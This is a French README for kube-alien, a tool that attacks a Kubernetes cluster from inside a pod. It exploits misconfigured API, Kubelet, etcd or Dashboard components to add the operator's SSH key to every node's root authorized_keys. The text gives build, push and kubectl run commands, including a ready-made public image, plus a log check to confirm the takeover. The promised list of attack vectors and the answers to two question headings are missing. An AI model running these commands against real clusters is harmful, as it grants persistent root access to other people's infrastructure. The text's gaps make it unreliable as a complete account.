
Outil automatisé de test d'intrusion de cluster Kubernetes qui exploite les défauts de configuration dans l'API, Kubelet, etcd et Dashboard pour réaliser une prise de contrôle de nœud via injection de clé SSH depuis l'intérieur d'un pod.
Cet outil lance une attaque sur un cluster k8s depuis l'intérieur. Cela signifie que vous devez déjà avoir un accès avec les autorisations nécessaires pour déployer des pods dans un cluster afin de l'exécuter. Après avoir exécuté le pod kube-alien, il tente de prendre le contrôle des nœuds du cluster en ajoutant votre clé publique au fichier /root/.ssh/authorized_keys du nœud en utilisant l'image https://github.com/nixwizard/dockercloud-authorizedkeys (peut être ajustée avec le paramètre ADD_AUTHKEYS_IMAGE dans config.py) issue de docker/dockercloud-authorizedkeys. L'attaque réussit s'il y a une mauvaise configuration dans l'un des composants du cluster ; elle exploite les vecteurs suivants :
Quel est le but de cet outil ?
Comment un cluster k8s peut-il être attaqué depuis l'intérieur dans la vie réelle ?
L'image Kube-alien doit être poussée vers votre dockerhub (ou autre registre) avant d'utiliser cet outil.
git clone https://github.com/nixwizard/kube-alien.git
cd kube-alien
docker build -t ka ./
docker tag ka YOUR_DOCKERHUB_ACCOUNT/kube-alien
docker push YOUR_DOCKERHUB_ACCOUNT/kube-alien
La variable d'environnement AUTHORIZED_KEYS doit être définie avec la valeur de votre clé publique SSH ; en cas de succès, la clé publique sera ajoutée au fichier authorized_keys de l'utilisateur root de chaque nœud.
kubectl run --image=YOUR_DOCKERHUB_ACCOUNT/kube-alien kube-alien --env="AUTHORIZED_KEYS=$(cat ~/.ssh/id_rsa.pub)" --restart Never
ou vous pouvez utiliser mon image pour un test rapide :
kubectl run --image=nixwizard/kube-alien kube-alien --env="AUTHORIZED_KEYS=$(cat ~/.ssh/id_rsa.pub)" --restart Never
Consultez les logs du pod Kube-alien pour voir si l'attaque a réussi :
kubectl logs $(kubectl get pods| grep alien|cut -f1 -d' ')